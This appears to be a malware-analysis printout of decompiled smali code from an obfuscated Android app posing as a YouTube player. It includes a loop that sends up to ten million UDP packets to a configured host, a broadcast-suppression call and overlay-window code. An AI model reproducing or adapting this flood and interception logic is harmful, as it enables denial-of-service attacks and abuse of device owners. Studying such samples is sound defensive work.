10iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;
12iget-object v1, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
14iget-object v1, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->b:Ljava/lang/String;
16invoke-static {v1}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
17move-result-object v1
18new-instance v2, Ljava/net/DatagramPacket;
19array-length v3, v0
21iget-object v4, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;
23iget-object v4, v4, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
25iget-object v4, v4, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->c:Ljava/lang/String;
27invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
28move-result v4
30invoke-direct {v2, v0, v3, v1, v4}, Ljava/net/DatagramPacket;-><init>([BILjava/net/InetAddress;I)V
31new-instance v0, Ljava/net/DatagramSocket;
33invoke-direct {v0}, Ljava/net/DatagramSocket;-><init>()V
34const/4 v1, 0x0
36invoke-virtual {v0, v1}, Ljava/net/DatagramSocket;->setBroadcast(Z)V
  • Data flow analysis:
    • p0: 0
37goto_2f:
38iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;
40iget-object v1, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
41iget-wide v4, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->a:J
42const-wide/32 v6, 0x989680
43cmp-long v1, v4, v6
44if-gez v1, :cond_4d
46invoke-virtual {v0, v2}, Ljava/net/DatagramSocket;->send(Ljava/net/DatagramPacket;)V
48iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;
50iget-object v1, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
51iget-wide v4, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->a:J
52const-wide/16 v6, 0x1
53add-long/2addr v4, v6
54iput-wide v4, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->a:J
55goto/16 :goto_2f
56catch_4b: move-exception v0
57goto_4c: return-void
58cond_4d:
59invoke-virtual {v0}, Ljava/net/DatagramSocket;->close()V
60try_end_50: goto/16 :goto_4c
Cross References
APIs
  • java.net.URL.<init>
  • java.net.URL.openConnection
  • java.net.HttpURLConnection.setDoInput
  • java.net.HttpURLConnection.connect
  • java.net.HttpURLConnection.getInputStream
  • android.graphics.BitmapFactory.decodeStream
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v0, Ljava/net/URL;
3iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/a;->a:Ljava/lang/String;
5invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
7invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
8move-result-object v0
9check-cast v0, Ljava/net/HttpURLConnection;
10const/4 v1, 0x1
12invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
  • Data flow analysis:
    • p0: 1
14invoke-virtual {v0}, Ljava/net/HttpURLConnection;->connect()V
16invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
17move-result-object v0
19invoke-static {v0}, Landroid/graphics/BitmapFactory;->decodeStream(Ljava/io/InputStream;)Landroid/graphics/Bitmap;
20try_end_1b: move-result-object v0
21goto_1c: return-object v0
22catch_1d: move-exception v0
24invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
25const/4 v0, 0x0
26goto/16 :goto_1c
Cross References
APIs
  • android.view.WindowManager.addView
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
4sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
6sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->m:Landroid/view/WindowManager$LayoutParams;
8invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
10sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
12sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
14sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->n:Landroid/view/WindowManager$LayoutParams;
16invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
18sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
20sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->i:Landroid/widget/LinearLayout;
22sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->o:Landroid/view/WindowManager$LayoutParams;
24invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
26sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
28sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
30sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->p:Landroid/view/WindowManager$LayoutParams;
32invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
34sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
36invoke-static {}, Lcom/pedqaesf/app/player/a;->a()Ljava/lang/String;
37move-result-object v0
39invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
40return-void
APIs
  • com.pedqaesf.app.AsyncTask.Vlwhupznixfm.abortBroadcast
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/pedqaesf/app/AsyncTask/Vlwhupznixfm;->abortBroadcast()V
3const/4 v0, 0x0
4return-object v0
APIs
  • android.view.View.getId
  • android.util.Log.d
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopForeground
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopSelf
  • android.content.Intent.<init>
  • com.pedqaesf.app.player.INSYouTubePlayerService.stopService
  • com.pedqaesf.app.player.INSYouTubePlayerService.b
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.view.WindowManager.removeView
  • android.widget.LinearLayout.getLayoutParams
  • android.view.WindowManager.removeView
  • android.widget.LinearLayout.getLayoutParams
  • android.view.WindowManager.removeView
  • android.widget.LinearLayout.getLayoutParams
  • android.view.WindowManager.removeView
  • android.widget.LinearLayout.getLayoutParams
  • android.content.Context.startActivity
  • android.webkit.WebView.getMeasuredWidth
  • android.view.WindowManager.updateViewLayout
  • android.widget.LinearLayout.getLayoutParams
  • android.widget.RelativeLayout.getLayoutParams
  • android.widget.RelativeLayout.setLayoutParams
  • android.widget.LinearLayout.setLayoutParams
  • android.widget.FrameLayout.getLayoutParams
  • android.widget.FrameLayout.setLayoutParams
  • android.widget.RelativeLayout.getLayoutParams
  • android.widget.RelativeLayout.setLayoutParams
  • android.webkit.WebView.getLayoutParams
  • android.widget.RelativeLayout.updateViewLayout
  • com.pedqaesf.app.player.INSYouTubePlayerService.getResources
  • android.content.res.Resources.getDrawable
  • android.widget.ImageView.setImageDrawable
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
  • android.view.WindowManager.updateViewLayout
  • android.widget.RelativeLayout.getLayoutParams
  • android.widget.RelativeLayout.setLayoutParams
  • android.widget.LinearLayout.getLayoutParams
  • android.widget.LinearLayout.setLayoutParams
  • android.widget.FrameLayout.getLayoutParams
  • android.widget.FrameLayout.setLayoutParams
  • android.widget.RelativeLayout.getLayoutParams
  • android.widget.RelativeLayout.setLayoutParams
  • android.webkit.WebView.getLayoutParams
  • android.widget.RelativeLayout.updateViewLayout
  • com.pedqaesf.app.player.INSYouTubePlayerService.getResources
  • android.content.res.Resources.getDrawable
  • android.widget.ImageView.setImageDrawable
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
  • android.content.SharedPreferences.edit
  • com.pedqaesf.app.player.INSYouTubePlayerService.getString
  • android.content.SharedPreferences$Editor.putInt
  • android.content.SharedPreferences$Editor.commit
  • com.pedqaesf.app.player.INSYouTubePlayerService.g
  • com.pedqaesf.app.player.INSYouTubePlayerService.getString
  • android.content.SharedPreferences$Editor.putInt
  • android.content.SharedPreferences$Editor.commit
  • com.pedqaesf.app.player.INSYouTubePlayerService.g
  • com.pedqaesf.app.player.INSYouTubePlayerService.getString
  • android.content.SharedPreferences$Editor.putInt
  • android.content.SharedPreferences$Editor.commit
  • com.pedqaesf.app.player.INSYouTubePlayerService.g
Strings
  • Clicked
  • Click!
  • isEntire
Position Instruction Meta Information
0.prologue
1const v6, 0x7f080419
2const/4 v2, 0x2
3const/4 v5, 0x0
4const/4 v4, -0x1
5const/4 v3, 0x1
7invoke-virtual {p1}, Landroid/view/View;->getId()I
8move-result v0
9sparse-switch v0, :sswitch_data_246
10goto_e: return-void
11sswitch_f:
12const-string v0, "Clicked"
14const-string v1, "Click!"
16invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Clicked
    • msg: Click!
17goto/16 :goto_e
18sswitch_17:
19const-string v0, "Clicked"
21const-string v1, "Click!"
23invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Clicked
    • msg: Click!
25invoke-virtual {p0, v3}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopForeground(Z)V
  • Data flow analysis:
    • removeNotification: 1
27invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopSelf()V
28new-instance v0, Landroid/content/Intent;
29const-class v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
31invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
33invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopService(Landroid/content/Intent;)Z
34goto/16 :goto_e
35sswitch_2f:
36sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
38invoke-static {}, Lcom/pedqaesf/app/player/a;->b()Ljava/lang/String;
39move-result-object v0
41invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
42new-instance v0, Landroid/content/Intent;
44invoke-static {}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->b()Landroid/content/Context;
45move-result-object v1
46const-class v2, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;
48invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
49sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->X:Landroid/content/Intent;
51sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->X:Landroid/content/Intent;
52const/high16 v1, 0x10000000
54invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
56sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
58sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
60invoke-interface {v0, v1}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
62sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
64invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
65move-result-object v0
66check-cast v0, Landroid/view/WindowManager$LayoutParams;
67sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->m:Landroid/view/WindowManager$LayoutParams;
69sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
71sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
73invoke-interface {v0, v1}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
75sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
77invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
78move-result-object v0
79check-cast v0, Landroid/view/WindowManager$LayoutParams;
80sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->n:Landroid/view/WindowManager$LayoutParams;
82sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
84sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->i:Landroid/widget/LinearLayout;
86invoke-interface {v0, v1}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
88sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->i:Landroid/widget/LinearLayout;
90invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
91move-result-object v0
92check-cast v0, Landroid/view/WindowManager$LayoutParams;
93sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->o:Landroid/view/WindowManager$LayoutParams;
95sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
97sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
99invoke-interface {v0, v1}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
101sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
103invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
104move-result-object v0
105check-cast v0, Landroid/view/WindowManager$LayoutParams;
106sput-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->p:Landroid/view/WindowManager$LayoutParams;
108sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a:Landroid/content/Context;
110sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->X:Landroid/content/Intent;
112invoke-virtual {v0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
113goto/16 :goto_e
114sswitch_99:
115invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
116move-result-object v0
118invoke-virtual {v0}, Landroid/webkit/WebView;->getMeasuredWidth()I
119move-result v0
120iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->K:I
121if-eq v0, v1, :cond_13b
122const/16 v0, 0x2ee
123iput v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
125iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
126iput v4, v0, Landroid/view/WindowManager$LayoutParams;->width:I
128iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
129iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
130iput v1, v0, Landroid/view/WindowManager$LayoutParams;->height:I
132sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
134sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
136iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
138invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
140sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
142invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
143move-result-object v0
144iput v4, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
145iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
146iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
148iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
150invoke-virtual {v1}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
151move-result-object v1
152iput v4, v1, Landroid/view/ViewGroup$LayoutParams;->width:I
154iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
156invoke-virtual {v2, v1}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
158sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
160invoke-virtual {v1, v0}, Landroid/widget/LinearLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
162iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
164invoke-virtual {v0}, Landroid/widget/FrameLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
165move-result-object v0
166iput v4, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
167iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
168iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
170iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
172invoke-virtual {v1, v0}, Landroid/widget/FrameLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
174iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
176invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
177move-result-object v0
178iput v4, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
179iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
180iget v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
181sub-int/2addr v1, v2
182iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
184iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
186invoke-virtual {v1, v0}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
188invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
189move-result-object v0
191invoke-virtual {v0}, Landroid/webkit/WebView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
192move-result-object v0
193iput v4, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
194iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
195iget v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
196sub-int/2addr v1, v2
197iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
199iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
201invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
202move-result-object v2
204invoke-virtual {v1, v2, v0}, Landroid/widget/RelativeLayout;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
206iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ae:Landroid/widget/ImageView;
208invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getResources()Landroid/content/res/Resources;
209move-result-object v1
210const v2, 0x7f020065
212invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
  • Data flow analysis:
    • id: 2130837605
213move-result-object v1
215invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
216iput-boolean v3, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Z:Z
218iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ai:Landroid/content/SharedPreferences;
220invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
221move-result-object v0
223const-string v1, "isEntire"
225invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: isEntire
    • p1: 1
227invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
228goto/16 :goto_e
229cond_13b:
230iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
231iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
232iput v1, v0, Landroid/view/WindowManager$LayoutParams;->width:I
234iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
235iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
236iput v1, v0, Landroid/view/WindowManager$LayoutParams;->height:I
238sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
240sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
242iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
244invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
246iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
248invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
249move-result-object v0
250iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->P:I
251iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
253iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
255invoke-virtual {v1, v0}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
257sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
259invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
260move-result-object v0
261iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
262iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
263iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
264iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
266sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
268invoke-virtual {v1, v0}, Landroid/widget/LinearLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
270iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
272invoke-virtual {v0}, Landroid/widget/FrameLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
273move-result-object v0
274iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
275iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
276iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
277iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
279iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
281invoke-virtual {v1, v0}, Landroid/widget/FrameLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
283iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
285invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
286move-result-object v0
287iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
288iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
289iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
290iget v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
291sub-int/2addr v1, v2
292iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
294iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
296invoke-virtual {v1, v0}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
298invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
299move-result-object v0
301invoke-virtual {v0}, Landroid/webkit/WebView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
302move-result-object v0
303iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
304iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
305iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
306iget v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
307sub-int/2addr v1, v2
308iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
310iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
312invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
313move-result-object v2
315invoke-virtual {v1, v2, v0}, Landroid/widget/RelativeLayout;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
317iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ae:Landroid/widget/ImageView;
319invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getResources()Landroid/content/res/Resources;
320move-result-object v1
321const v2, 0x7f020064
323invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
  • Data flow analysis:
    • id: 2130837604
324move-result-object v1
326invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
327iput-boolean v5, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Z:Z
329iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ai:Landroid/content/SharedPreferences;
331invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
332move-result-object v0
334const-string v1, "isEntire"
336invoke-interface {v0, v1, v5}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: isEntire
    • p1: 0
338invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
339goto/16 :goto_e
340sswitch_1d9:
341iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ai:Landroid/content/SharedPreferences;
343invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
344move-result-object v0
345sget v1, Lcom/pedqaesf/app/b;->c:I
346if-nez v1, :cond_201
348invoke-virtual {p0, v6}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131231769
349move-result-object v1
351invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 1
353invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
354sput v3, Lcom/pedqaesf/app/b;->c:I
355sget v0, Lcom/pedqaesf/app/b;->b:I
356if-ne v0, v3, :cond_1fc
358sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
360invoke-static {}, Lcom/pedqaesf/app/player/a;->h()Ljava/lang/String;
361move-result-object v0
363invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
364cond_1fc:
